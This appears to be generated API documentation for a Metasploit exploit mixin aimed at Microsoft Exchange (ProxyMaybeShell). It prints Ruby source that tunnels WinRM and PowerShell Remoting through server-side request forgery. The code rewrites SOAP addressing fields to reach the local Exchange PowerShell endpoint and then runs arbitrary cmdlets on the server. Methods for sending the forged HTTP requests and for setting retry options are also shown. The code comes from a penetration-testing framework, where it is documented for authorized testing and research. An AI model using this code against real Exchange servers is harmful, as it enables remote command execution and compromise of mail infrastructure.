Module: Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell

Includes:
Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb

Defined Under Namespace

Classes: SSRFWinRMConnection, XMLTemplate

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#execute_powershell(cmdlet, args: [], cat: nil) ⇒ Object



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 18

def execute_powershell(cmdlet, args: [], cat: nil)
  winrm = SSRFWinRMConnection.new({
    endpoint: full_uri('PowerShell/'),
    transport: :ssrf,
    max_backend_retries: datastore['MaxBackendRetries'].to_i,
    ssrf_proc: proc do |method, uri, opts|
      uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
      opts[:data].gsub!(
        %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
        "<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
      )
      opts[:data].gsub!(
        %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
        "<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
      )
      res = send_http(method, uri, opts)
      raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401

      res
    end
  })

  successful = true
  begin
    winrm.shell(:powershell) do |shell|
      shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
      shell.extend(SSRFWinRMConnection::PowerShell)
      shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
        unless stdout.blank?
          vprint_line('PSRP output received:')
          vprint_line(stdout)
        end
        unless stderr.blank?
          successful = false
          vprint_error('PSRP error received:')
          vprint_line(stderr)
        end
      end
    end
  rescue WinRM::WinRMAuthorizationError => e
    fail_with(Msf::Exploit::Failure::NoAccess, e.message)
  rescue WinRM::WinRMError => e
    vprint_error("Exception: #{e.message}")
    successful = false
  rescue Msf::Exploit::Failed => e
    raise e
  rescue RuntimeError => e
    print_error("Exception: #{e.inspect}")
    successful = false
  end

  successful
end

#initialize(info = {}) ⇒ Object



8
9
10
11
12
13
14
15
16
# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 8

def initialize(info = {})
  super

  register_advanced_options(
    [
      Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
    ], self.class
  )
end

#send_http(method, uri, opts = {}) ⇒ Object



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# File 'lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb', line 72

def send_http(method, uri, opts = {})
  request = {
    'method' => method,
    'uri' => uri,
    'agent' => datastore['UserAgent'],
    'ctype' => opts[:ctype],
    'cookie' => opts[:cookie],
    'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
  }
  request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
  request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
  request = request.merge(opts[:authentication]) unless opts[:authentication].nil?

  begin
    received = send_request_cgi(request)
  rescue Errno::ECONNRESET => e
    fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
  end

  fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received

  received
end